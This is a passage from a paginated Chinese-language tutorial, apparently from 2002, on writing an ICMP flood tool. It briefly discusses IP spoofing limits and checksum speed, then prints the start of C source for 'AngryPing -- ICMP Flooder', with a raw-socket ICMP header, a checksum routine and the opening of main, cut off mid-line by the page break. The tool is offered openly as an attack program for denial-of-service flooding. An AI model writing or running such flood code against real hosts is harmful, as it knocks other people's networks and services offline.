| 果有人做的号称能伪造IP的工具而且又支持Win98/Me,那一定是吹出来的,因为这是系统限制,程序没法解决的。而且自己填充IP头部后,CheckSum就不是由系统计算了,这时候你的CheckSum计算函数就变成瓶颈了,这就是伪造IP后的Flooder发送速度不够系统计算CheckSum的Flooder快的原因了,除非优化过CheckSum函数。限于篇幅,采用IP-Spoof技术的FakePing和Smurf就不讨论了。
5.完整代码
做一个Console Application工程,输入下面的代码。如果优化得当,最终编译生成的EXE也就4096字节而已,呵呵,just do it……
================================================== /* agp.c
AnGryPing -- ICMP Flooder by HBU·小金(LK007) Copyright© 2002 E-MAIL:lk007@163.com */
#include <stdio.h> #include <winsock2.h> #include <ws2tcpip.h> #pragma comment(lib, "ws2_32.lib") //头文件和库文件声明,如果不能编译,请在Link里加上ws2_32.lib
#define false 0 #define true 1
#define SEQ 0x28376839
// 定义ICMP首部 typedef struct _ihdr { BYTE i_type; //8位类型 BYTE i_code; //8位代码 USHORT i_cksum; //16位校验和 USHORT i_id; //识别号 USHORT i_seq; //报文序列号 ULONG timestamp; //时间戳 }ICMP_HEADER;
//计算校验和的子函数 USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); }
int main(int argc, char **argv) { int datasize,ErrorCode,flag; int TimeOut=2000, SendSEQ=0, PacketSize=32,type=8,code=0,counter=0; //默认数据声明 char SendBuf[65535]={0}; //缓冲 WSADATA wsaData; SOCKET SockRaw=(SOCKET)NULL; struct sockaddr_in DestAddr; ICMP_HEADER icmp_header; char DestIp[20]; //目标IP
if (argc<2) { printf("AngryPing by HBU-LK007\n"); printf("Usage:%s [Dest] <PacketSize> <type> <code>\n",ar 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] 下一页 |